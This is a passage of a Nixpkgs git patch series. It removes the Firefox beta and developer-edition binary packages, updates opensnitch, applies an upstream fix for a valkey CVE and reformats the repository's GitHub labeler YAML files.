-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/xh/Firefox%20140.0b5.dmg";
-      locale = "xh";
-      arch = "mac";
-      sha256 = "b4dde818b1b2587b9057e96771a205ce691609934ddc4fe3f293a1f4f92598f8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/zh-CN/Firefox%20140.0b5.dmg";
-      locale = "zh-CN";
-      arch = "mac";
-      sha256 = "c7a7cc8c0f059f44053b712aede9f86e9ebff927dc001dc89e78e844030bdf79";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/zh-TW/Firefox%20140.0b5.dmg";
-      locale = "zh-TW";
-      arch = "mac";
-      sha256 = "728aac576c19521a5cb35e1cf7eb8e82a5055a9dbd4cc31eaa1b0110db10846c";
-    }
-  ];
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index cd3f0c6487dc..dcb3bba065f4 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -648,6 +648,8 @@ mapAliases {
   fingerd_bsd = bsd-fingerd;
   fira-code-nerdfont = lib.warnOnInstantiate "fira-code-nerdfont is redundant. Use nerd-fonts.fira-code instead." nerd-fonts.fira-code; # Added 2024-11-10
   firebird_2_5 = throw "'firebird_2_5' has been removed as it has reached end-of-life and does not build."; # Added 2025-06-10
+  firefox-beta-bin = lib.warnOnInstantiate "`firefox-beta-bin` is removed.  Please use `firefox-beta` or `firefox-bin` instead." firefox-beta;
+  firefox-devedition-bin = lib.warnOnInstantiate "`firefox-devedition-bin` is removed.  Please use `firefox-devedition` or `firefox-bin` instead." firefox-devedition;
   firefox-esr-115 = throw "The Firefox 115 ESR series has reached its end of life. Upgrade to `firefox-esr` or `firefox-esr-128` instead.";
   firefox-esr-115-unwrapped = throw "The Firefox 115 ESR series has reached its end of life. Upgrade to `firefox-esr-unwrapped` or `firefox-esr-128-unwrapped` instead.";
   firefox-wayland = firefox; # Added 2022-11-15
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index e166423c7ed6..7892f234ba5d 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -12512,7 +12512,6 @@ with pkgs;
 
   firefox-bin-unwrapped = callPackage ../applications/networking/browsers/firefox-bin {
     inherit (firefox-unwrapped.passthru) applicationName;
-    channel = "release";
     generated = import ../applications/networking/browsers/firefox-bin/release_sources.nix;
   };
 
@@ -12520,27 +12519,6 @@ with pkgs;
     pname = "firefox-bin";
   };
 
-  firefox-beta-bin-unwrapped = firefox-bin-unwrapped.override {
-    inherit (firefox-beta-unwrapped.passthru) applicationName;
-    channel = "beta";
-    generated = import ../applications/networking/browsers/firefox-bin/beta_sources.nix;
-  };
-
-  firefox-beta-bin = res.wrapFirefox firefox-beta-bin-unwrapped {
-    pname = "firefox-beta-bin";
-  };
-
-  firefox-devedition-bin-unwrapped = callPackage ../applications/networking/browsers/firefox-bin {
-    inherit (firefox-devedition-unwrapped.passthru) applicationName;
-    channel = "developer-edition";
-    generated = import ../applications/networking/browsers/firefox-bin/developer-edition_sources.nix;
-  };
-
-  firefox-devedition-bin = res.wrapFirefox firefox-devedition-bin-unwrapped {
-    pname = "firefox-devedition-bin";
-    wmClass = "firefox-aurora";
-  };
-
   librewolf-unwrapped = import ../applications/networking/browsers/librewolf {
     inherit
       stdenv

From 2c3bd91df6ce0cb2ef8cc86663e3df0975f62973 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Sat, 31 May 2025 10:10:49 +0200
Subject: [PATCH 1053/4511] opensnitch: 1.6.9 -> 1.7.0.0

Diff: https://github.com/evilsocket/opensnitch/compare/refs/tags/v1.6.9...refs/tags/v1.7.0.0
(cherry picked from commit ee9b4c7b70b2076600392a4a400d6caad41bf219)
---
 pkgs/by-name/op/opensnitch-ui/package.nix |  2 +-
 pkgs/by-name/op/opensnitch/package.nix    | 16 +++++++++++++---
 2 files changed, 14 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/op/opensnitch-ui/package.nix b/pkgs/by-name/op/opensnitch-ui/package.nix
index 1d50cffd70f2..2001eb0d96dc 100644
--- a/pkgs/by-name/op/opensnitch-ui/package.nix
+++ b/pkgs/by-name/op/opensnitch-ui/package.nix
@@ -41,7 +41,7 @@ python3Packages.buildPythonApplication {
     make -C ../proto ../ui/opensnitch/ui_pb2.py
     # sourced from ui/Makefile
     pyrcc5 -o opensnitch/resources_rc.py opensnitch/res/resources.qrc
-    sed -i 's/^import ui_pb2/from . import ui_pb2/' opensnitch/ui_pb2*
+    sed -i 's/^import ui_pb2/from . import ui_pb2/' opensnitch/proto/ui_pb2*
   '';
 
   preCheck = ''
diff --git a/pkgs/by-name/op/opensnitch/package.nix b/pkgs/by-name/op/opensnitch/package.nix
index e4542308b687..18964197f2d5 100644
--- a/pkgs/by-name/op/opensnitch/package.nix
+++ b/pkgs/by-name/op/opensnitch/package.nix
@@ -1,6 +1,7 @@
 {
   buildGoModule,
   fetchFromGitHub,
+  fetchpatch,
   protobuf,
   go-protobuf,
   pkg-config,
@@ -34,15 +35,24 @@ let
 in
 buildGoModule (finalAttrs: {
   pname = "opensnitch";
-  version = "1.6.9";
+  version = "1.7.0.0";
 
   src = fetchFromGitHub {
     owner = "evilsocket";
     repo = "opensnitch";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-c+VAlm32/NXvUr5i0AY/zuTrFIQLtPxNNeSiQTMoJAY=";
+    hash = "sha256-ZkXqocgxyJGo5uQq4Ct1wmUIQljtx5oPzj4JfWWAuSE=";
   };
 
+  patches = [
+    # https://github.com/evilsocket/opensnitch/issues/1357
+    # remove next release
+    (fetchpatch {
+      url = "https://github.com/dwongdev/opensnitch/commit/376b06ef97ef79e3afa699878af2e59918aa7ef0.patch?full_index=1";
+      hash = "sha256-QBhc4A2Dign5JY4fcQ2c3F02xFj3m3G2VwY9cFuWV3w=";
+    })
+  ];
+
   postPatch = ''
     # Allow configuring Version at build time
     substituteInPlace daemon/core/version.go --replace-fail "const " "var "
@@ -63,7 +73,7 @@ buildGoModule (finalAttrs: {
     protoc-gen-go-grpc'
   ];
 
-  vendorHash = "sha256-urRujxcp58ZuhUtTAqCK0etSZ16YYG/6JY/aOUodl9g=";
+  vendorHash = "sha256-IByoQuJsGORmePlv1HzvF8RSu2XhP5Sry1j3NoY2WP8=";
 
   preBuild = ''
     make -C ../proto ../daemon/ui/protocol/ui.pb.go

From 5afcbf84dc903829648a3a350ac7f0cc2e67ca3b Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sat, 14 Jun 2025 22:37:56 +0200
Subject: [PATCH 1054/4511] valkey: apply patch for CVE-2025-27151

---
 pkgs/by-name/va/valkey/package.nix | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/va/valkey/package.nix b/pkgs/by-name/va/valkey/package.nix
index 381aeaf25cf4..56812f67f8bf 100644
--- a/pkgs/by-name/va/valkey/package.nix
+++ b/pkgs/by-name/va/valkey/package.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  fetchpatch2,
   lua,
   jemalloc,
   pkg-config,
@@ -32,7 +33,13 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-IzerctJUc478dJu2AH20s/A3psiAZWDjQG3USQWqpos=";
   };
 
-  patches = lib.optional useSystemJemalloc ./use_system_jemalloc.patch;
+  patches = [
+    (fetchpatch2 {
+      name = "CVE-2025-27151.patch";
+      url = "https://github.com/valkey-io/valkey/commit/73696bf6e2cf754acc3ec24eaf9ca6b879bfc5d7.patch?full_index=1";
+      hash = "sha256-9yt2GXfC8piyLskkMkXouEX5ZQwZLtL+MN6n6HuC/V4=";
+    })
+  ] ++ lib.optional useSystemJemalloc ./use_system_jemalloc.patch;
 
   nativeBuildInputs = [ pkg-config ];
 

From 23be6b96937586d3a2dfecf6c9531c718c572b1a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 12 Jun 2025 14:46:42 +0200
Subject: [PATCH 1055/4511] treewide: run yamlfmt

This applies changes from running yamlfmt with the `retain_line_breaks`
formatting option enabled.

(cherry picked from commit 66981875e8cb8ab8a4bd0eb54bd1371de91d084d)
---
 .github/dependabot.yml                        |   2 +-
 .github/labeler-development-branches.yml      |  18 +-
 .github/labeler-no-sync.yml                   |  26 +-
 .github/labeler.yml                           | 784 +++++++++---------
 .github/workflows/build.yml                   |   4 +-
 .github/workflows/eval.yml                    |   8 +-
 .github/workflows/periodic-merge-24h.yml      |   2 +-
 .github/workflows/periodic-merge-6h.yml       |   2 +-
 .../test/minimal_working_example/antora.yml   |   1 -
 .../by-name/tf/tfk8s/tests/sample1/input.yaml |   1 -
 .../tests/julia-top-n/package.yaml            |  60 +-
 .../tests/julia-top-n/stack.yaml              |   4 +-
 12 files changed, 455 insertions(+), 457 deletions(-)

diff --git a/.github/dependabot.yml b/.github/dependabot.yml
index a909ff0fdde0..900be674c46e 100644
--- a/.github/dependabot.yml
+++ b/.github/dependabot.yml
@@ -4,4 +4,4 @@ updates:
     directory: "/"
     schedule:
       interval: "weekly"
-    labels: [ ]
+    labels: []
diff --git a/.github/labeler-development-branches.yml b/.github/labeler-development-branches.yml
index e0b855a07cde..5ce799c2f8d4 100644
--- a/.github/labeler-development-branches.yml
+++ b/.github/labeler-development-branches.yml
@@ -3,21 +3,21 @@
 
 "4.workflow: package set update":
   - any:
-    - head-branch:
-      - '-updates$'
+      - head-branch:
+          - '-updates$'
 
 "4.workflow: staging":
   - any:
-    - head-branch:
-      - '^staging-next$'
-      - '^staging-next-'
+      - head-branch:
+          - '^staging-next$'
+          - '^staging-next-'
 
 "6.topic: haskell":
   - any:
-    - head-branch:
-      - '^haskell-updates$'
+      - head-branch:
+          - '^haskell-updates$'
 
 "6.topic: python":
   - any:
-    - head-branch:
-      - '^python-updates$'
+      - head-branch:
+          - '^python-updates$'
diff --git a/.github/labeler-no-sync.yml b/.github/labeler-no-sync.yml
index daffb16e30ae..62c0f80f5dd6 100644
--- a/.github/labeler-no-sync.yml
+++ b/.github/labeler-no-sync.yml
@@ -5,21 +5,21 @@
 
 "6.topic: policy discussion":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - .github/**/*
-        - CONTRIBUTING.md
-        - pkgs/README.md
-        - nixos/README.md
-        - maintainers/README.md
-        - lib/README.md
-        - doc/README.md
+      - changed-files:
+          - any-glob-to-any-file:
+              - .github/**/*
+              - CONTRIBUTING.md
+              - pkgs/README.md
+              - nixos/README.md
+              - maintainers/README.md
+              - lib/README.md
+              - doc/README.md
 
 "8.has: documentation":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/**/*
-        - nixos/doc/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/**/*
+              - nixos/doc/**/*
 
 # keep-sorted end
diff --git a/.github/labeler.yml b/.github/labeler.yml
index 7f1ac6d2ea32..dd90e57c838e 100644
--- a/.github/labeler.yml
+++ b/.github/labeler.yml
@@ -5,599 +5,599 @@
 
 "4.workflow: backport":
   - any:
-    - base-branch:
-      - '^release-'
-      - '^staging-\d'
-      - '^staging-next-\d'
+      - base-branch:
+          - '^release-'
+          - '^staging-\d'
+          - '^staging-next-\d'
 
 # NOTE: bsd, darwin and cross-compilation labels are handled by ofborg
 "6.topic: agda":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/agda.section.md
-        - nixos/tests/agda.nix
-        - pkgs/build-support/agda/**/*
-        - pkgs/development/libraries/agda/**/*
-        - pkgs/top-level/agda-packages.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/agda.section.md
+              - nixos/tests/agda.nix
+              - pkgs/build-support/agda/**/*
+              - pkgs/development/libraries/agda/**/*
+              - pkgs/top-level/agda-packages.nix
 
 "6.topic: cinnamon":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/services/x11/desktop-managers/cinnamon.nix
-        - nixos/tests/cinnamon.nix
-        - nixos/tests/cinnamon-wayland.nix
-        - pkgs/by-name/ci/cinnamon-*/**/*
-        - pkgs/by-name/cj/cjs/**/*
-        - pkgs/by-name/mu/muffin/**/*
-        - pkgs/by-name/ne/nemo/**/*
-        - pkgs/by-name/ne/nemo-*/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/services/x11/desktop-managers/cinnamon.nix
+              - nixos/tests/cinnamon.nix
+              - nixos/tests/cinnamon-wayland.nix
+              - pkgs/by-name/ci/cinnamon-*/**/*
+              - pkgs/by-name/cj/cjs/**/*
+              - pkgs/by-name/mu/muffin/**/*
+              - pkgs/by-name/ne/nemo/**/*
+              - pkgs/by-name/ne/nemo-*/**/*
 
 "6.topic: continuous integration":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - .github/**/*
-        - ci/**/*.*
+      - changed-files:
+          - any-glob-to-any-file:
+              - .github/**/*
+              - ci/**/*.*
 
 "6.topic: coq":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/applications/science/logic/coq/**/*
-        - pkgs/development/coq-modules/**/*
-        - pkgs/top-level/coq-packages.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/applications/science/logic/coq/**/*
+              - pkgs/development/coq-modules/**/*
+              - pkgs/top-level/coq-packages.nix
 
 "6.topic: COSMIC":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/services/desktop-managers/cosmic.nix
-        - nixos/modules/services/display-managers/cosmic-greeter.nix
-        - nixos/tests/cosmic.nix
-        - pkgs/by-name/co/cosmic-*/**/*
-        - pkgs/by-name/xd/xdg-desktop-portal-cosmic/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/services/desktop-managers/cosmic.nix
+              - nixos/modules/services/display-managers/cosmic-greeter.nix
+              - nixos/tests/cosmic.nix
+              - pkgs/by-name/co/cosmic-*/**/*
+              - pkgs/by-name/xd/xdg-desktop-portal-cosmic/*
 
 "6.topic: crystal":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/development/compilers/crystal/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/development/compilers/crystal/**/*
 
 "6.topic: cuda":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/development/cuda-modules/**/*
-        - pkgs/top-level/cuda-packages.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/development/cuda-modules/**/*
+              - pkgs/top-level/cuda-packages.nix
 
 "6.topic: deepin":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/services/desktops/deepin/**/*
-        - pkgs/desktops/deepin/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/services/desktops/deepin/**/*
+              - pkgs/desktops/deepin/**/*
 
 "6.topic: docker tools":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/applications/virtualization/docker/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/applications/virtualization/docker/**/*
 
 "6.topic: dotnet":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/dotnet.section.md
-        - maintainers/scripts/update-dotnet-lockfiles.nix
-        - pkgs/build-support/dotnet/**/*
-        - pkgs/development/compilers/dotnet/**/*
-        - pkgs/test/dotnet/**/*
-        - pkgs/top-level/dotnet-packages.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/dotnet.section.md
+              - maintainers/scripts/update-dotnet-lockfiles.nix
+              - pkgs/build-support/dotnet/**/*
+              - pkgs/development/compilers/dotnet/**/*
+              - pkgs/test/dotnet/**/*
+              - pkgs/top-level/dotnet-packages.nix
 
 "6.topic: emacs":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/services/editors/emacs.nix
-        - nixos/modules/services/editors/emacs.xml
-        - nixos/tests/emacs-daemon.nix
-        - pkgs/applications/editors/emacs/build-support/**/*
-        - pkgs/applications/editors/emacs/elisp-packages/**/*
-        - pkgs/applications/editors/emacs/**/*
-        - pkgs/top-level/emacs-packages.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/services/editors/emacs.nix
+              - nixos/modules/services/editors/emacs.xml
+              - nixos/tests/emacs-daemon.nix
+              - pkgs/applications/editors/emacs/build-support/**/*
+              - pkgs/applications/editors/emacs/elisp-packages/**/*
+              - pkgs/applications/editors/emacs/**/*
+              - pkgs/top-level/emacs-packages.nix
 
 "6.topic: Enlightenment DE":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/services/x11/desktop-managers/enlightenment.nix
-        - pkgs/desktops/enlightenment/**/*
-        - pkgs/development/python-modules/python-efl/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/services/x11/desktop-managers/enlightenment.nix
+              - pkgs/desktops/enlightenment/**/*
+              - pkgs/development/python-modules/python-efl/*
 
 "6.topic: erlang":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/beam.section.md
-        - pkgs/development/beam-modules/**/*
-        - pkgs/development/interpreters/elixir/**/*
-        - pkgs/development/interpreters/erlang/**/*
-        - pkgs/development/tools/build-managers/rebar/**/*
-        - pkgs/development/tools/build-managers/rebar3/**/*
-        - pkgs/development/tools/erlang/**/*
-        - pkgs/top-level/beam-packages.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/beam.section.md
+              - pkgs/development/beam-modules/**/*
+              - pkgs/development/interpreters/elixir/**/*
+              - pkgs/development/interpreters/erlang/**/*
+              - pkgs/development/tools/build-managers/rebar/**/*
+              - pkgs/development/tools/build-managers/rebar3/**/*
+              - pkgs/development/tools/erlang/**/*
+              - pkgs/top-level/beam-packages.nix
 
 "6.topic: fetch":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/build-support/fetch*/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/build-support/fetch*/**/*
 
 "6.topic: flakes":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - '**/flake.nix'
-        - lib/systems/flake-systems.nix
-        - nixos/modules/config/nix-flakes.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - '**/flake.nix'
+              - lib/systems/flake-systems.nix
+              - nixos/modules/config/nix-flakes.nix
 
 "6.topic: flutter":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/build-support/flutter/*.nix
-        - pkgs/development/compilers/flutter/**/*.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/build-support/flutter/*.nix
+              - pkgs/development/compilers/flutter/**/*.nix
 
 "6.topic: games":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/games/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/games/**/*
 
 "6.topic: GNOME":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/gnome.section.md
-        - nixos/modules/services/desktops/gnome/**/*
-        - nixos/modules/services/x11/desktop-managers/gnome.nix
-        - nixos/tests/gnome-xorg.nix
-        - nixos/tests/gnome.nix
-        - pkgs/desktops/gnome/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/gnome.section.md
+              - nixos/modules/services/desktops/gnome/**/*
+              - nixos/modules/services/x11/desktop-managers/gnome.nix
+              - nixos/tests/gnome-xorg.nix
+              - nixos/tests/gnome.nix
+              - pkgs/desktops/gnome/**/*
 
 "6.topic: golang":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/go.section.md
-        - pkgs/build-support/go/**/*
-        - pkgs/development/compilers/go/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/go.section.md
+              - pkgs/build-support/go/**/*
+              - pkgs/development/compilers/go/**/*
 
 "6.topic: hardware":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/hardware/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/hardware/**/*
 
 "6.topic: haskell":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/haskell.section.md
-        - maintainers/scripts/haskell/**/*
-        - pkgs/development/compilers/ghc/**/*
-        - pkgs/development/haskell-modules/**/*
-        - pkgs/development/tools/haskell/**/*
-        - pkgs/test/haskell/**/*
-        - pkgs/top-level/haskell-packages.nix
-        - pkgs/top-level/release-haskell.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/haskell.section.md
+              - maintainers/scripts/haskell/**/*
+              - pkgs/development/compilers/ghc/**/*
+              - pkgs/development/haskell-modules/**/*
+              - pkgs/development/tools/haskell/**/*
+              - pkgs/test/haskell/**/*
+              - pkgs/top-level/haskell-packages.nix
+              - pkgs/top-level/release-haskell.nix
 
 "6.topic: java":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        # Distributions
-        - pkgs/development/compilers/adoptopenjdk-icedtea-web/**/*
-        - pkgs/development/compilers/corretto/**/*
-        - pkgs/development/compilers/graalvm/**/*
-        - pkgs/development/compilers/openjdk/**/*
-        - pkgs/by-name/op/openjfx/**/*
-        - pkgs/development/compilers/semeru-bin/**/*
-        - pkgs/development/compilers/temurin-bin/**/*
-        - pkgs/development/compilers/zulu/**/*
-        # Documentation
-        - doc/languages-frameworks/java.section.md
-        # Gradle
-        - doc/languages-frameworks/gradle.section.md
-        - pkgs/development/tools/build-managers/gradle/**/*
-        - pkgs/by-name/gr/gradle-completion/**/*
-        # Maven
-        - pkgs/by-name/ma/maven/**/*
-        - doc/languages-frameworks/maven.section.md
-        # Ant
-        - pkgs/by-name/an/ant/**/*
-        # javaPackages attrset
-        - pkgs/development/java-modules/**/*
-        - pkgs/top-level/java-packages.nix
-        # Maintainer tooling
-        - pkgs/by-name/ni/nixpkgs-openjdk-updater/**/*
-        # Misc
-        - nixos/modules/programs/java.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              # Distributions
+              - pkgs/development/compilers/adoptopenjdk-icedtea-web/**/*
+              - pkgs/development/compilers/corretto/**/*
+              - pkgs/development/compilers/graalvm/**/*
+              - pkgs/development/compilers/openjdk/**/*
+              - pkgs/by-name/op/openjfx/**/*
+              - pkgs/development/compilers/semeru-bin/**/*
+              - pkgs/development/compilers/temurin-bin/**/*
+              - pkgs/development/compilers/zulu/**/*
+              # Documentation
+              - doc/languages-frameworks/java.section.md
+              # Gradle
+              - doc/languages-frameworks/gradle.section.md
+              - pkgs/development/tools/build-managers/gradle/**/*
+              - pkgs/by-name/gr/gradle-completion/**/*
+              # Maven
+              - pkgs/by-name/ma/maven/**/*
+              - doc/languages-frameworks/maven.section.md
+              # Ant
+              - pkgs/by-name/an/ant/**/*
+              # javaPackages attrset
+              - pkgs/development/java-modules/**/*
+              - pkgs/top-level/java-packages.nix
+              # Maintainer tooling
+              - pkgs/by-name/ni/nixpkgs-openjdk-updater/**/*
+              # Misc
+              - nixos/modules/programs/java.nix
 
 "6.topic: jitsi":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/services/networking/jitsi-videobridge.nix
-        - nixos/modules/services/web-apps/jitsi-meet.nix
-        - pkgs/servers/web-apps/jitsi-meet/**/*
-        - pkgs/servers/jitsi-videobridge/**/*
-        - pkgs/applications/networking/instant-messengers/jitsi/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/services/networking/jitsi-videobridge.nix
+              - nixos/modules/services/web-apps/jitsi-meet.nix
+              - pkgs/servers/web-apps/jitsi-meet/**/*
+              - pkgs/servers/jitsi-videobridge/**/*
+              - pkgs/applications/networking/instant-messengers/jitsi/**/*
 
 "6.topic: julia":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/julia.section.md
-        - pkgs/development/compilers/julia/**/*
-        - pkgs/development/julia-modules/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/julia.section.md
+              - pkgs/development/compilers/julia/**/*
+              - pkgs/development/julia-modules/**/*
 
 "6.topic: jupyter":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/development/python-modules/jupyter*/**/*
-        - pkgs/development/python-modules/mkdocs-jupyter/*
-        - nixos/modules/services/development/jupyter/**/*
-        - pkgs/applications/editors/jupyter-kernels/**/*
-        - pkgs/applications/editors/jupyter/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/development/python-modules/jupyter*/**/*
+              - pkgs/development/python-modules/mkdocs-jupyter/*
+              - nixos/modules/services/development/jupyter/**/*
+              - pkgs/applications/editors/jupyter-kernels/**/*
+              - pkgs/applications/editors/jupyter/**/*
 
 "6.topic: k3s":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/services/cluster/k3s/**/*
-        - nixos/tests/k3s/**/*
-        - pkgs/applications/networking/cluster/k3s/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/services/cluster/k3s/**/*
+              - nixos/tests/k3s/**/*
+              - pkgs/applications/networking/cluster/k3s/**/*
 
 "6.topic: kernel":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/build-support/kernel/**/*
-        - pkgs/os-specific/linux/kernel/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/build-support/kernel/**/*
+              - pkgs/os-specific/linux/kernel/**/*
 
 "6.topic: lib":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - lib/**
+      - changed-files:
+          - any-glob-to-any-file:
+              - lib/**
 
 "6.topic: llvm/clang":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/development/compilers/llvm/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/development/compilers/llvm/**/*
 
 "6.topic: lua":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/development/tools/misc/luarocks/*
-        - pkgs/development/interpreters/lua-5/**/*
-        - pkgs/development/interpreters/luajit/**/*
-        - pkgs/development/lua-modules/**/*
-        - pkgs/top-level/lua-packages.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/development/tools/misc/luarocks/*
+              - pkgs/development/interpreters/lua-5/**/*
+              - pkgs/development/interpreters/luajit/**/*
+              - pkgs/development/lua-modules/**/*
+              - pkgs/top-level/lua-packages.nix
 
 "6.topic: Lumina DE":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/services/x11/desktop-managers/lumina.nix
-        - pkgs/desktops/lumina/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/services/x11/desktop-managers/lumina.nix
+              - pkgs/desktops/lumina/**/*
 
 "6.topic: LXQt":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/services/x11/desktop-managers/lxqt.nix
-        - pkgs/desktops/lxqt/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/services/x11/desktop-managers/lxqt.nix
+              - pkgs/desktops/lxqt/**/*
 
 "6.topic: mate":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/services/x11/desktop-managers/mate.nix
-        - nixos/tests/mate.nix
-        - pkgs/desktops/mate/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/services/x11/desktop-managers/mate.nix
+              - nixos/tests/mate.nix
+              - pkgs/desktops/mate/**/*
 
 "6.topic: module system":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - lib/modules.nix
-        - lib/types.nix
-        - lib/options.nix
-        - lib/tests/modules.sh
-        - lib/tests/modules/**
+      - changed-files:
+          - any-glob-to-any-file:
+              - lib/modules.nix
+              - lib/types.nix
+              - lib/options.nix
+              - lib/tests/modules.sh
+              - lib/tests/modules/**
 
 "6.topic: musl":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/os-specific/linux/musl/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/os-specific/linux/musl/**/*
 
 "6.topic: nim":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/nim.section.md
-        - pkgs/build-support/build-nim-package.nix
-        - pkgs/build-support/build-nim-sbom.nix
-        - pkgs/by-name/ni/nim*
-        - pkgs/top-level/nim-overrides.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/nim.section.md
+              - pkgs/build-support/build-nim-package.nix
+              - pkgs/build-support/build-nim-sbom.nix
+              - pkgs/by-name/ni/nim*
+              - pkgs/top-level/nim-overrides.nix
 
 "6.topic: nixos":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/**/*
-        - pkgs/by-name/sw/switch-to-configuration-ng/**/*
-        - pkgs/by-name/ni/nixos-rebuild-ng/**/*
-        - pkgs/os-specific/linux/nixos-rebuild/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/**/*
+              - pkgs/by-name/sw/switch-to-configuration-ng/**/*
+              - pkgs/by-name/ni/nixos-rebuild-ng/**/*
+              - pkgs/os-specific/linux/nixos-rebuild/**/*
 
 "6.topic: nixos-container":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/virtualisation/nixos-containers.nix
-        - pkgs/tools/virtualization/nixos-container/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/virtualisation/nixos-containers.nix
